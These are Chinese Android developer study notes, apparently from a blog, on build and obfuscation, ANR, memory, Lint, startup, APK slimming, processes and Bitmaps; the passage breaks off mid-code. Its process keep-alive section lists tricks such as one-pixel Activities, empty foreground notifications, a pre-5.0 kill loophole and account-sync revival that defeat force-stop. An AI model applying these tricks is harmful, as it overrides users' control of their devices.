生成APK文件后，需要对其签名才可安装到设备，平时测试时会使用debug keystore，当正式发布应用时必须使用release版的keystore对应用进行签名。
如果对APK正式签名，还需要使用zipalign工具对APK进行对齐操作，这样做的好处是当应用运行时会提高速度，但是相应的会增加内存的开销。

详细版本如下：

Android项目构建过程（详细版）

代码混淆

1. 代码混淆及其优点

代码混淆的过程

混淆其实是包括了代码压缩、代码混淆以及资源压缩等的优化过程。

代码混淆过程

这四个流程默认开启，在Android项目中我们可以选择将“优化”和“预校验”关闭：

压缩。移除无效的类、类成员、方法、属性等；
优化。分析和优化方法的二进制代码；根据proguard-android-optimize.txt中的描述，优化可能会造成一些潜在风险，不能保证在所有版本的Dalvik上都正常运行。
混淆。把类名、属性名、方法名替换为简短且无意义的名称；
预校验。添加预校验信息。这个预校验是作用在Java平台上的，Android平台上不需要这项功能，去掉之后还可以加快混淆速度。

代码混淆的优点

代码混淆的优点如下：

ProGuard混淆流程将检测主项目以及依赖库中未被使用的类、类成员、方法、属性并移除，这有助于规避64K方法数的瓶颈
将类、类成员、方法重命名为无意义的简短名称，增加了逆向工程的难度（由于Java是一门跨平台的解释性语言，其源代码被编译成class字节码来适应其他平台，而class文件包含了Java源代码信息，很容易被反编译）
移除未被使用的资源，可以有效减小apk安装包大小

2. 代码混淆操作、调试步骤

开启混淆、开启资源压缩

android {
    buildTypes {
        release {
            minifyEnabled true
            shrinkResources true
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        }
    }
}

1
2
3
4
5
6
7
8
9

在proguard-rules.pro添加自定义混淆规则

第三方库所需的混淆规则。正规的第三方库一般都会在接入文档中写好所需混淆规则，使用时注意添加。
在运行时动态改变的代码，例如反射。比较典型的例子就是会与 json 相互转换的实体类。假如项目命名规范要求实体类都要放在model包下的话，可以添加类似这样的代码把所有实体类都保持住：
```
-keep public class **.*Model*.** {*;}
```
1
JNI中调用的类。
WebView中JavaScript调用的方法
Layout布局使用的View构造函数、android:onClick等。

检查混淆结果，避免因混淆引入的bug。一方面，需要从代码层面检查。使用上文的配置进行混淆打包后在 /build/outputs/mapping/release/ 目录下会输出以下文件：
- dump.txt：描述APK文件中所有类的内部结构
- mapping.txt：提供混淆前后类、方法、类成员等的对照表
- seeds.txt：列出没有被混淆的类和成员
- usage.txt：列出被移除的代码 gi

开启代码混淆后的调试

retrace.bat|retrace.sh [-verbose] mapping.txt [<stacktrace_file>]

3. 代码混淆的工作原理

ProGuard过程中将无用的字段或方法存入到EntryPoint中，将非EntryPoint的字段和方法进行替换，其中Entry Point是在ProGuard过程中不会被处理的类或方法。详细描述如下：

在压缩的步骤中，ProGuard会从上述的Entry Point开始递归遍历，搜索哪些类和类的成员在使用，对于没有被使用的类和类的成员，就会在压缩段丢弃。
在接下来的优化过程中，那些非Entry Point的类、方法都会被设置为private、static或final，不使用的参数会被移除，此外，有些方法会被标记为内联的。
在混淆的步骤中，ProGuard会对非Entry Point的类和方法进行重命名。

4. 参考文章

写给Android开发者的混淆使用手册

持续集成

1. 持续集成的基本概念

持续集成（Continuous Integration），持续集成是一种软件开发实践，通过自动化的构建（包括编译、发布和自动化测试）来验证，从而帮助尽快发现集成错误。
持续集成一直被认为是敏捷开发的重要实践之一，也是提升软件质量的重要手段。特别在团队协作开发中，为项目添加持续集成还是非常有必要的，确保了任何时间、任何地点生成可部署的软件。

2. Jenkins+Git+Gradle实现持续集成

安装Jenkins，安装需要的插件（比如说git插件、Gradle插件），配置JDK，Git，Gradle等编译环境
创建新的Jenkins项目，配置Git代码仓库地址、配置构建时的Gradle版本，和需要执行的Gradle Task
配置Jenkins项目的构建参数，比如Gradle Task的参数、渠道参数
配置邮件通知
开始构建

3. 参考文章

Android Jenkins+Git+Gradle持续集成-实在太详细

ANR

1. ANR是什么

Android中，主线程（UI线程）如果在规定时内没有处理完相应工作，就会出现ANR(Application Not Responding)，弹出页面无响应的对话框。

2. ANR分类

Activity的输入事件（按键和触摸事件）5s内没被处理: Input event dispatching timed out
BroadcastReceiver的事件(onReceive方法)在规定时间内没处理完(前台广播为10s，后台广播为60s): Timeout of broadcast BroadcastRecord
Service在规定时间内（前台20s/后台200s）未响应: Timeout executing service
ContentProvider的publish在10s内没进行完: Timeout publishing content providers

3. ANR的核心原因

主线程在做一些耗时的工作
主线程被其他线程锁
cpu被其他进程占用，该进程没被分配到足够的cpu资源。

4. ANR的原理

在进行相关操作调用Handler.sendMessageAtTime()发送一个ANR的消息，延时时间为ANR发生的时间(如前台Service是当前时间20s之后)。
进行相关的操作
操作结束后向remove掉该条Message。
如果相关的操作在规定时间没有执行完成，该条Message将被Handler取出并执行，就发生了ANR，并且由系统弹出ANR的弹窗。

5. ANR的分析方法（主要是分析是否有死锁、通过调用栈定位耗时操作、系统资源情况）

从/data/anr/traces.txt中找到ANR反生的信息：可以从log中搜索“ANR in”或“am_anr”，会找到ANR发生的log，该行会包含了ANR的时间、进程、是何种ANR等信息，如果是BroadcastReceiver的ANR可以怀疑BroadCastReceiver.onReceive()的问题，如果的Service或Provider就怀疑是否其onCreate()的问题。
在该条log之后会有CPU usage的信息，表明了CPU在ANR前后的用量（log会表明截取ANR的时间），从各种CPU Usage信息中大概可以分析如下几点：
- 如果某些进程的CPU占用百分比较高，几乎占用了所有CPU资源，而发生ANR的进程CPU占用为0%或非常低，则认为CPU资源被占用，进程没有被分配足够的资源，从而发生了ANR。这种情况多数可以认为是系统状态的问题，并不是由本应用造成的。
- 如果发生ANR的进程CPU占用较高，如到了80%或90%以上，则可以怀疑应用内一些代码不合理消耗掉了CPU资源，如出现了死循环或者后台有许多线程执行任务等等原因，这就要结合trace和ANR前后的log进一步分析了。
- 如果CPU总用量不高，该进程和其他进程的占用过高，这有一定概率是由于某些主线程的操作就是耗时过长，或者是由于主进程被锁造成的。
除了上述的情况1以外，分析CPU usage之后，确定问题需要我们进一步分析trace文件。trace文件记录了发生ANR前后该进程的各个线程的stack。对我们分析ANR问题最有价值的就是其中主线程的stack，一般主线程的trace可能有如下几种情况：
- 主线程是running或者native而对应的栈对应了我们应用中的函数，则很有可能就是执行该函数时候发生了超时。
- 主线程被block:非常明显的线程被锁，这时候可以看是被哪个线程锁了，可以考虑优化代码。如果是死锁问题，就更需要及时解决了。
- 由于抓trace的时刻很有可能耗时操作已经执行完了（ANR -> 耗时操作执行完毕 ->系统抓trace）。

6. 如何避免ANR的方法（常见场景）

主线程避免执行耗时操作（文件操作、IO操作、数据库操作、网络访问等）：

Activity、Service（默认情况下）的所有生命周期回调 BroadcastReceiver的onReceive()回调方法 AsyncTask的回调除了doInBackground，其他都是在主线程中没有使用子线程Looper的Handler的handlerMessage，post(Runnable)都是执行在主线程中
尽量避免主线程的被锁的情况，在一些同步的操作主线程有可能被锁，需要等待其他线程释放相应锁才能继续执行，这样会有一定的死锁、从而ANR的风险。对于这种情况有时也可以用异步线程来执行相应的逻辑。

7. 参考文章

Android ANR问题总结

内存管理

1. 内存管理的两大核心与目标

内存管理的两大核心

内存分配机制
内存回收机制

内存管理的目标

更少的占用内存，让更多的进程存活在内存当中
在合适的时候，合理的释放系统资源，保证新的进程能够被创建合分配内存（注意这里没有说是立即释放，因为频繁的创建释放会造成内存抖动）
在系统内存紧张的时候，能释放掉大部分不重要的资源
能合理的在特殊生命周期中，保存或还原重要数据

2. Android中内存管理机制的特点

Android系统是基于Linux 2.6内核开发的开源操作系统，而linux系统的内存管理有其独特的动态存储管理机制。
Android系统对Linux的内存管理机制进行了优化。
Android分配机制上面的优化：
- Android会为每个进程分配一个初始内存大小heapstartsiz（初始分配小内存，使得系统运行更多的进程）
- 当应用需要大内存的时候，继续分配更多的内存，最大限制为heapgrowthlimit，否则触发OOM
Android内存回收机制上面的优化：
- Linux系统会在进程活动停止后就结束该进程；Android把这些进程都保留在内存中，直到系统需要更多内存为止。这些保留在内存中的进程通常情况下不会影响整体系统的运行速度，并且当用户再次激活这些进程时，提升了进程的启动速度。
- Android会根据进程的内存占用、进程优先级等方面，采用LRU算法进行回收

3. 常见的内存问题的相关概念

内存溢出：指程序在申请内存时，没有足够的空间供其使用
内存泄漏：指程序分配出去的内存不再使用，无法进行回收
内存抖动：指程序短时间内大量创建对象，然后回收的现象

4. 参考文章

Android内存管理机制

浅谈Android内存管理

内存泄漏

1. 什么是内存泄漏

内存泄漏是一个对象已经不需要再使用了，但是因为其它的对象持有该对象的引用，导致它的内存不能被垃圾回收器回收。内存泄漏的慢慢积累，最终会导致OOM的发生。

2. 内存泄漏的主要原因

长生命周期的对象持有短生命周期对象的引用就很可能发生内存泄漏。（短生命周期的对象不能被正确回收）

3. Java内存分配策略

静态存储区（方法区）：主要存储全局变量和静态变量，在整个程序运行期间都存在
栈区：方法体的局部变量会在栈区创建空间，并在方法执行结束后会自动释放变量的空间和内存
堆区：保存动态产生的数据，如：new出来的对象和数组，在不使用的时候由Java回收器自动回收

4. 常见的内存泄漏及其解决方案

单例造成的内存泄漏：在单例中，使用context.getApplicationContext()作为单例的context
匿名内部类造成的内存泄漏：由于非静态内部类持有匿名外部类的引用，必须将内部类设置为static、或者使用弱引用
Handler造成的内存泄漏：使用static的Handler内部类，同时在实现内部类中持有Context的弱引用
避免使用static变量：由于static变量会跟Activity生命周期一致，当Activity退出后台被后台回收时，static变量是不安全，所以也要管理好static变量的生命周期
资源未关闭造成的内存泄漏：比如Socket、Broadcast、Cursor、Bitmap、ListView、集合容器等，使用完后要关闭
AsyncTask造成的内存泄漏：由于非静态内部类持有匿名内部类的引用而造成内存泄漏，可以通过AsyncTask内部持有外部Activity的弱引用同时改为静态内部类或在onDestroy()中执行AsyncTask.cancel()进行修复
WebView造成的内存泄漏：页面销毁的时候WebView需要正确移除并且调用其destroy方法

5. LeakCanary检测内存泄漏核心原理

给可被回收的对象上打了智能标记（弱引用，Key-Value的形式）。
监听Activity的生命周期。
如果Activity销毁之后过一小段时间对象依然没有被释放，就会给内存做个快照（Dump Memory），并且导出到本地文件。
通过读取、分析这个heap dump文件：根据Key用SQL语句去查询数据库，并且计算出最短的GC root路径，从而找出阻止该对象释放的那个对象。
通过UI（Debug版本是Notification）的形式把分析结果报告给开发者。

6. 参考文章

常见的内存泄漏原因及解决方法

用 LeakCanary 检测内存泄漏

InputMethodManager.mLastSrvView memory leak in Android6.0 with huawei mobile phone #572

内存溢出

1. 内存溢出是什么？

OOM指Out of memory（内存溢出），当前占用内存 + 我们申请的内存资源超过了虚拟机的最大内存限制就会抛出Out of memory异常。

2. 应用的内存限制与申请大内存

Android虚拟机对单个应用的最大内存分配值定义在/system/build.prop文件中

//堆分配的初始大小，它会影响到整个系统对RAM的使用程度，和第一次使用应用时的流畅程度。它值越小，系统ram消耗越慢，但一些较大应用一开始不够用，需要调用gc和堆调整策略，导致应用反应较慢。它值越大，这个值越大系统ram消耗越快，但是应用更流畅。
dalvik.vm.heapstartsize=xxxm
//单个应用可用最大内存。最大内存限制主要针对的是这个值,它表示单个进程内存被限定在xxxm,即程序运行过程中实际只能使用xxxm内存，超出就会报OOM。（仅仅针对dalvik堆，不包括native堆）
dalvik.vm.heapgrowthlimit=xxxm
//单个进程可用的最大内存，但如果存在heapgrowthlimit参数，则以heapgrowthlimit为准。heapsize表示不受控情况下的极限堆，表示单个虚拟机或单个进程可用的最大内存。
dalvik.vm.heapsize=xxxm

1
2
3
4
5
6

ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
int memoryClass = am.getMemoryClass();

1
2

每开一个应用就会打开一个独立的虚拟机（这样设计就会在单个程序崩溃的情况下不会导致整个系统的崩溃）
在android开发中，如果要使用大堆，需要在manifest中指定android:largeHeap为true，这样dvm heap最大可达heapsize。尽量少使用large heap。使用额外的内存会影响系统整体的用户体验，并且会使得GC的每次运行时间更长。在任务切换时，系统的性能会变得大打折扣。

3. 内存优化-常见内存溢出及其解决方案

解决应用中的内存泄漏问题。
图片：正确缩放、压缩、解码、回收。
在UI不可见的时候，适当释放其UI资源。
列表控件：重用convertView、使用LRU缓存算法、滚动的时候进行监听，此时不应该加载图片。
View：避免在onDraw方法中创建对象。
谨慎使用多进程：使用多进程可以把应用中的部分组件运行在单独的进程当中，这样可以扩大应用的内存占用范围，但是这个技术必须谨慎使用，使用多进程会使得代码逻辑更加复杂，使用不当可能反而会导致显著增加内存。当应用需要运行一个常驻后台的任务，而且这个任务并不轻量，可以考虑使用这个技术。
使用更加轻量的数据结构。例如，我们可以考虑使用ArrayMap/SparseArray而不是HashMap等传统数据结构。
避免在Android里面使用Enum，而用静态常量代替。（因为枚举的内存消耗是静态常量的两倍左右）
字符串拼接：在有些时候，代码中会需要使用到大量的字符串拼接的操作，这种时候有必要考虑使用StringBuilder来替代频繁的“+”。
Try catch某些大内存分配的操作。
资源文件需要选择合适的文件夹进行存放。hdpi/xhdpi/xxhdpi等等不同dpi的文件夹下的图片在不同的设备上会经过scale的处理，拉伸之后内存消耗更大。对于不希望被拉伸的图片，需要放到assets或者nodpi的目录下。
在onLowMemory()与onTrimMemory()中适当释放内存。
珍惜Services资源。如果你的应用需要在后台使用service，除非它被触发并执行一个任务，否则其他时候Service都应该是停止状态。另外需要注意当这个service完成任务之后因为停止service失败而引起的内存泄漏。建议使用IntentService。
优化布局层次，减少内存消耗。越扁平化的视图布局，占用的内存就越少，效率越高。
谨慎使用依赖注入框架：使用之后，代码是简化了不少。然而，那些注入框架会通过扫描你的代码执行许多初始化的操作，这会导致你的代码需要大量的内存空间来mapping代码，而且mapped pages会长时间的被保留在内存中。
使用ProGuard来剔除不需要的代码，通过移除不需要的代码，重命名类，域与方法等等对代码进行压缩，优化与混淆。使得代码更加紧凑，能够减少mapping代码所需要的内存空间。
谨慎使用第三方libraries。很多开源的library代码都不是为移动网络环境而编写的，如果运用在移动设备上，并不一定适合。即使是针对Android而设计的library，也需要特别谨慎，特别是如果你知道引入的library具体做了什么事情的时候。
考虑不同的实现方式、方案、策略来优化内存占用。

4. 参考文章

Android 性能优化(内存之OOM)

Android 查看每个应用的最大可用内存

Lint与代码优化工具

1. 什么是Lint？

Android Lint是一个静态代码分析工具，能够对检测代码质量——对项目中潜在的Bug、可优化的代码、安全性、性能、可用性、可访问性、国际化等进行检查（注：Lint检测不局限于代码，功能十分强大）。

通过下面的gradle命令开启Lint：

./gradlew lint

2. Lint的工作流程

lint

App项目源文件：包括Java代码，XML代码，图标，以及ProGuard配置文件、Git忽略文件等
lint.xml：Lint 检测的执行标准配置文件，我们可以修改它来允许或者禁止报告一些问题
Lint工具按照标准配置文件中指定的规则去检测App项目源文件，发现问题，并且进行报告。常见的问题有：
- Correctness：不够完美的编码，比如硬编码、使用过时API等
- Performance：对性能有影响的编码，比如：静态引用，循环引用等
- Internationalization：国际化，直接使用汉字，没有使用资源引用等，适配国际化的时候资源漏翻译
- Security：不安全的编码，比如在WebView中允许使用JavaScriptInterface等
- …

3. 忽略Lint警告

Java代码中忽略Lint警告:使用注解。注解跟@SuppressWarnings很类似，@SuppressLint(“忽略的警告名称”)，如果不清楚警告名称，直接写all表示忽略所有警告
XML代码中忽略Lint警告:使用 tools:ignore=”忽略的警告名”

4. Debug构建中关闭Lint检测

执行Gradle命令的时候，通过-x参数不执行某个action

./gradlew build -x lint

5. 自定义Lint

创建lint.xml到根目录下，可以自定义Lint安全等级、忽略文件等
自定义Lint检查规则（比如日志不通过LogUtils打印则警告）：
1. 依赖Android官方的lint的库
2. 创建类继承Detector，实现一些规则
3. 并且提供IssueRegistry向外提供Detector注册汇总信息
4. 输出jar包或者aar包，主项目进行依赖
5. 进行lint检测即可

6. 一些其他的代码优化工具

KW（Klockwork）扫描工具（这个工具需要授权才能使用，属于动态检测，依赖项目编译生成的文件。目前还是存在一些BUG，比如空指针的检测、IO流的关闭检测等）
阿里巴巴的编码规约扫描工具（IDEA的一个插件）
Uber的NullAway空指针扫描工具（空指针的检测工具，接入比较麻烦）
……

7. 参考文章

Android 性能优化：使用 Lint 优化代码、去除多余资源

Android工具：被你忽视的Lint

自动规避代码陷阱——自定义Lint规则

Android Lint

美团点评技术团队-Android自定义Lint实践2——改进原生Detector

美团自定义Lint示例

Writing a Lint Check

Idea 阿里代码规约插件安装

使用Klockwork进行代码分析简单操作流程

NullAway：Uber用于检测Android上的NullPointerExceptions的开源工具

UI卡顿优化

1. UI卡顿原理

View的绘制帧数保持60fps是最佳，这要求每帧的绘制时间不超过16ms（1000/60），如果安卓不能在16ms内完成界面的渲染，那么就会出现卡顿现象。而UI的绘制在主线程中进行的，因此UI卡顿本质上就是主线程卡顿。

2. UI卡顿常见原因及其解决方案

布局Layout过于复杂，无法在16ms内完成渲染。
过度绘制overDraw，导致像素在同一帧的时间内被绘制多次，使CPU和GPU负载过重。
View频繁的触发measure、layout，导致measure、layout累计耗时过多和整个View频繁的重新渲染。

布局优化
- 通过开发者工具检查过度绘制
- 使用include复用布局、使用ViewStub延迟加载布局、使用merge减少代码层级、使用RelativeLayout也能大大减少视图的层级、慎重设置整体背景颜色防止过度绘制
- 使用自定义View取代复杂的View
使用TraceView工具检测UI卡顿、方法耗时
在UI线程中做轻微的耗时操作，导致UI线程卡顿：应该把耗时操作放在子线程中进行。
同一时间动画执行的次数过多，导致CPU和GPU负载过重。
频繁的触发GC操作导致线程暂停、内存抖动，会使得安卓系统在16ms内无法完成绘制：可以考虑使用享元模式、避免在onDraw方法中创建对象等。
冗余资源及逻辑等导致加载和执行缓慢。
UI卡顿最严重的后果是ANR，因此需要在开发中避免和解决ANR问题。
列表控件滑动卡顿：复用convertView、滑动不进行加载、使用压缩图片、加载缩略图等。

3. BlockCanary及其原理

BlockCanary会在发生卡顿的时候记录各种信息，输出到配置目录下的文件，并弹出消息栏通知，轻松找出Android App界面卡顿元凶。

BlockCanary的核心原理是：通过Android的消息机制在mainLooperPrinter中判断start和end，来获取主线程dispatch该message的开始和结束时间，并判定该时间超过阈值(如2000毫秒)为主线程卡慢发生，并dump出各种信息，提供开发者分析性能瓶颈。

BlockCanary

核心代码如下：

Looper.getMainLooper().setMessageLogging(mainLooperPrinter);

@Override
public void println(String x) {
    if (!mStartedPrinting) {
        mStartTimeMillis = System.currentTimeMillis();
        mStartThreadTimeMillis = SystemClock.currentThreadTimeMillis();
        mStartedPrinting = true;
    } else {
        final long endTime = System.currentTimeMillis();
        mStartedPrinting = false;
        if (isBlock(endTime)) {
            notifyBlockEvent(endTime);
        }
    }
}

private boolean isBlock(long endTime) {
    return endTime - mStartTimeMillis > mBlockThresholdMillis;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

4. 参考文章

BlockCanary — 轻松找出Android App界面卡顿元凶

冷启动与热启动

1. 冷启动与热启动是什么？

冷启动：当启动应用时，后台没有该应用的进程，这时系统会重新创建一个新的进程分配给该应用，这个启动方式就是冷启动。

冷启动大致流程：实例化Application -> 实例化入口Activity -> 显示Activity（配置主题中背景等属性 -> 显示测量布局绘制最终显示在界面上）
热启动：当启动应用时，后台已有该应用的进程，所以在已有进程的情况下，这种启动会从已有的进程中来启动应用，这个方式叫热启动。（例：按back键、home键，应用虽然会退出，但是该应用的进程是依然会保留在后台，可进入任务列表查看）

热启动大致流程（不需要实例化Application）：实例化入口Activity -> 显示Activity

2. 应用启动时间测量

使用命令

adb shell am start -W [packageName]/[packageName.XXXActivity]

使用Activity.reportFullyDrawn在Logcat中打印出来，例子：

ActivityManager: Displayed com.android.myexample/.StartupTiming: +3s534ms

使用TraceView精确测量（TraceView工具可以检测UI卡顿、方法耗时）

// start tracing to "/sdcard/calc.trace"
Debug.startMethodTracing("calc");
// ...
// stop tracing
Debug.stopMethodTracing();

1
2
3
4
5

使用高速摄像机进行抓帧

3. 冷启动优化常见方案

通过懒加载方式初始化第三方SDK，可以尝试在闪屏Activity中加载
不要在mainThread中加载资源
减少第一个界面onCreate()方法的工作量
不要让Application参与业务的操作、耗时操作
不要以静态变量的方式在Application中保存数据
减少布局的复杂性和深度

4. 解决冷启动白/黑屏问题的两种方案

设置要启动的Activity主题为透明，可以给用户造成一个视觉上的假象，例如：

<style name="AppTransparentTheme" parent="Theme.AppCompat.Light.NoActionBar.Fullscreen">
    <item name="android:windowIsTranslucent">true</item>
    <item name="android:windowBackground">@android:color/transparent</item>
</style>

1
2
3
4

为要启动的Activity设置主题为一张背景图，例如：

<style name="AppBackgroundTheme" parent="Theme.AppCompat.Light.NoActionBar.Fullscreen">
    <item name="android:windowBackground">@mipmap/bg_welcome</item>
</style>

1
2
3

5. 参考文章

Android Study 之冷启动优化(解决启动短暂白屏or黑屏)

Android冷启动实现APP秒开

Android 性能优化冷启动速度优化

APK瘦身

1. APK文件的组成

直接在Android Studio中打开APK文件，通过APK分析器，可以看到APK文件的组成成分与比例（实际上是调用AAPT工具的功能）：

APK组成

asserts：存放一些配置文件或资源文件，比如WebView的本地html，React Native的jsbundle等
lib：lib目录下会有各种so文件，分析器会检查出项目自己的so和各种库的so。
resources.arsc：编译后的二进制资源文件，里面是id-name-value的一个Map。
res：res目录存放的是资源文件。包括图片、字符串。raw文件夹下面是音频文件，各种xml文件等等。
dex：dex文件是Java代码打包后的字节码，一个dex文件最多只支持65536个方法，开启了dex分包的话会有多个。
META-INF：META-INF目录下存放的是签名信息，分别是MANIFEST.MF、CERT.SF、CERT.RSA。用来保证apk包的完整性和系统的安全性，帮助用户避免安装来历不明的盗版APK。
AndroidManifest.xml：Android清单文件。

2. 常见APK瘦身方案

优化assets
- 资源动态下载，字体、js代码这样的资源能动态下载的就做动态下载，虽然复杂度提高，但是实现了动态更新
- 压缩资源文件，用到的时候再进行解压
- 删除不必要的字体文件中的字体
- 减少图标字体（Icon-Font）的使用，多用SVG代替

优化lib

配置abiFilters精简so动态库，而已根据需求保留需要的平台

defaultConfig {
    //armeabi是必须包含的，v7是一个图形加强版本，x86是英特尔平台的支持库
    ndk {
        abiFilters "armeabi", "armeabi-v7a" ,"x86"
    }
}

1
2
3
4
5
6

统计分析用户手机的cpu类型，排除没有或少量用户才会用到的so

优化resources.arsc
- 删除不必要的string entry，你可以借助android-arscblamer来检查出可以优化的部分，比如一些空的引用
- 使用微信的资源混淆工具AndResGuard，它将资源的名称进行了混淆（需要重点配置白名单）
优化META-INF：除了公钥CERT.RSA没有压缩机会外，其余的两个文件都可以通过混淆资源名称的方式进行压缩
优化res
- 动态下载资源
- 通过Android Studio的重构工具删除无用资源
- 打包时剔除无用资源
```
release {
        zipAlignEnabled true
        minifyEnabled true  
        shrinkResources true // 是否去除无效的资源文件   
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.txt'
        signingConfig signingConfigs.release
    }
```
  1
  2
  3
  4
  5
  6
  7
- 删除无用的语言（排除了所有的依赖库的资源）
```
android {
    //...
    defaultConfig {
        resConfigs "zh"
    }
}
```
  1
  2
  3
  4
  5
  6
- 控制图片、视频、音频资源的大小，推荐使用有损压缩等其他格式（ogg、svg、webp等）
- 统一应用风格，减少shape文件
- 使用toolbar，减少menu文件
- 通过复用等方式减少layout文件
- ...
优化dex：
- 利用工具（dexcount、statistic、apk-method-count、Lint）分析、精简不必要的方法、空行、依赖库等
- 通过proguard来删除无用代码
- 剔除无用的测试代码
- 依赖第三方库的时候，在打包发版中不要将某些不必要的库进行releaseCompile（比如LeakCanary）
- 使用更小库或合并现有库
- 减少方法数、使用插件化等方案，不用mulitdex

3. 参考文章

App瘦身最佳实践

Android中5种app瘦身方式

进程及进程保活、跨进程通信

1. 查看进程信息

使用ps命令可以查看进程信息：

adb shell ps|grep <package_name>

返回的结果分别为：

进程当前用户
进程ID
进程的父进程ID
进程的虚拟内存大小
实际驻留”在内存中”的内存大小
进程名

2. Android进程优先级

前台进程：Foreground process（用户正在使用的程序，一般系统是不会杀死前台进程的，除非用户强制停止应用或者系统内存不足等极端情况会杀死。）
- 用户正在交互的Activity（已调用onResume）
- 当某个Service绑定正在交互的Activity
- 被主动调用为前台Service（startForeground()）
- 组件正在执行生命周期的回调（onCreate()、onStart()、onDestory()）
- BroadcastReceiver正在执行onReceive()
可见进程：Visible process（用户正在使用，看得到，但是摸不着，没有覆盖到整个屏幕,只有屏幕的一部分可见进程不包含任何前台组件，一般系统也是不会杀死可见进程的，除非要在资源吃紧的情况下，要保持某个或多个前台进程存活）
- Activity不在前台、但仍对用户可见（已调用onPause()，没有调用onStop()））
- 绑定到可见（前台）Activity的Service
服务进程：Service process（在内存不足以维持所有前台进程和可见进程同时运行的情况下，服务进程会被杀死）
- 简单的startService()启动，与用户看见的Activity没有直接关联。
后台进程：Background process（系统可能随时终止它们，回收内存）
- 在用户按了"back"或者"home"后,程序本身看不到了,但是其实还在运行的程序。对用户没有直接影响，Activity处于onStop()的时候。
- 应用开启的进程：android:process=":xxx"
空进程：Empty process（某个进程不包含任何活跃的组件时该进程就会被置为空进程，完全没用，优先级最低，杀了它只有好处没坏处，第一被回收）
- 不含有任何的活动的组件。（Android设计的，处于缓存的目的，为了第二次启动更快，采取的一个权衡）

3. 进程回收策略（Low memory Killer）

Low memory Killer：定时执行，一旦发现内存低于某个内存阈值，Low memory Killer会根据进程的优先级、进程占用的内存大小等因素通过复杂的评分机制，对进程进行打分，然后将分数高的进程判定为bad进程，杀死并释放内存

4. 进程保活方案

与手机厂商合作，加入白名单
监听锁屏广播，在RemoteService中开启/关闭一个像素的Activity
利用Android5.0以下系统同一时间只能杀死一个进程的漏洞（5.0之后同一个Group的进程都会被杀死），开启双进程守护
利用前台服务，startForeground(ID， new Notification())，发送空的通知
利用系统黏性服务机制拉活
利用开机，网络切换、拍照、拍视频等系统广播也能唤醒，不过Android N已经将这三种广播取消了
利用Native进程监听进程是否存活，否则拉活
利用JobScheduler机制代替Native进程实现拉活
利用账号同步机制拉活。用户强制停止都杀不起创建一个账号并设置同步器，创建周期同步，系统会自动调用同步器，这样就能激活APP，局限是国产机会修改最短同步周期，并且需要联网才能使用。

5. 跨进程通信方式

跨进程通信

6. 参考文章

Android进程保活的一般套路

关于进程保活的两三事——新手升级经验卡

Android里帐户同步的实现

Bitmap

1. Bitmap的理解

Bitmap是Android系统中的图像处理的最重要类之一。用它可以获取图像文件信息，进行图像剪切、旋转、缩放等操作，并可以指定格式保存图像文件。

2. Bitmap的内存分配策略

在Androin3.0之前的版本，Bitmap像素数据存放在Native内存中，而且Nativie内存的释放是不确定的，容易内存溢出而Crash，不使用的图片要调用recycle()进行回收。

3.0之前

从Androin3.0开始，Bitmap像素数据和Bitmap对象一起存放在虚拟机的堆内存中（从源代码上看是多了一个byte[] buffer用来存放数据），也就是我们常说的Java Heap内存。

3.0之后

从Androin8.0开始，Bitmap像素数据存重新回到Native内存中

8.0之后

3. Bitmap的内存占用计算

Bitmap的内存占用大小的计算：

一般情况下的计算

Bitmap占用的内存 = width * height * 一个像素所占的内存
在Android中，考虑各种因素情况下的计算

Bitmap占用的内存 = width * height * nTargetDensity/inDensity * nTargetDensity/inDensity * 一个像素所占的内存

Bitmap的内存占用大小与三个因素有关：

色彩格式，前面我们已经提到，如果是ARGB_8888那么就是一个像素4个字节，如果是RGB_565那就是2个字节
原始文件存放的资源目录（分辨率越小，内存占用越小）
目标屏幕的密度（屏幕的密度越小，内存占用越小）

有关Bitmap的色彩格式：

ARGB_8888的内存消耗是RGB_565的2倍
ARGB_8888格式比RGB_565多了一个透明通道
如果使用RGB_565格式解析ARGB_8888格式的图片(png)，可能会导致图片变绿

4. Bitmap的回收

在Android3.0以前以及Android8.0之后Bitmap的像素数据是存放Native内存中，我们需要回收Native层和Java层的内存。
在Android3.0以后以及Android8.0之前Bitmap的像素数据是存放在Java层的内存中的，我们只要回收堆内存即可。
官方建议我们3.0以后使用recycle方法进行回收，该方法也可以不主动调用，因为垃圾回收器会自动收集不可用的Bitmap对象进行回收。
recycle方法会判断Bitmap在不可用的情况下，将发送指令到垃圾回收器，让其回收native层和Java层的内存，则Bitmap进入dead状态。
recycle方法是不可逆的，如果再次调用getPixels()等方法，则获取不到想要的结果。

5. Bitmap的复用

Android在3.0之后BitmapFactory.Options引入了inBitmap属性，设置该属性之后解码图片时会尝试复用一张已经存在的Bitmap，避免了内存的回收以及重新申请的过程。

Bitmap复用的限制：

声明可被复用的Bitmap必须设置inMutable为true
Android4.4(API 19)之前只有格式为jpg、png，同等宽高（要求苛刻），inSampleSize为1的Bitmap才可以复用
Android4.4(API 19)之前被复用的Bitmap的inPreferredConfig会覆盖待分配内存的Bitmap设置的inPreferredConfig
Android4.4(API 19)之前待加载Bitmap的Options.inSampleSize必须明确指定为1
Android4.4(API 19)之后被复用的Bitmap的内存必须大于需要申请内存的Bitmap的内存

6. Bitmap加载大图与防止OOM

加载大图的时候注意点：

在Android系统中，读取位图Bitmap时，分给虚拟机中的图片的堆栈大小只有8M，如果超出了，就会出现OutOfMemory异常
在加载大图、长图等操作当中，推荐对OutOfMemoryError进行捕获，并且返回一张默认图片
使用采样率（inSampleSize），如果需要显示缩列图，并不需要加载完整的图片数据，只需要按一定的比例加载即可
使用Matrix变形等，比如使用Matrix进行放大，虽然图像大了，但并没有占用更多的内存
推荐使用一些成熟的开源图片加载库，它们帮我们完成了很多工作。比如异步加载、Facebook的Fresco还自己开辟了Native内存用于存储图片，以得到更大的内存空间（兼容性问题）
使用分块解码（BitmapRegionDecoder）、硬解码等方案

获取图片缩略图的模板代码如下（主要分为3个步骤）：

public static Bitmap thumbnail(String path, int width, int height, boolean autoRotate) {

    //1. 获得Bitmap的宽高，但是不加载到内存
    BitmapFactory.Options options = new BitmapFactory.Options();
    options.inJustDecodeBounds = true;
    BitmapFactory.decodeFile(path, options);
    int srcWidth = options.outWidth;
    int srcHeight = options.outHeight;

    //2. 计算图片缩放倍数
    int inSampleSize = 1;
    if (srcHeight > height || srcWidth > width) {
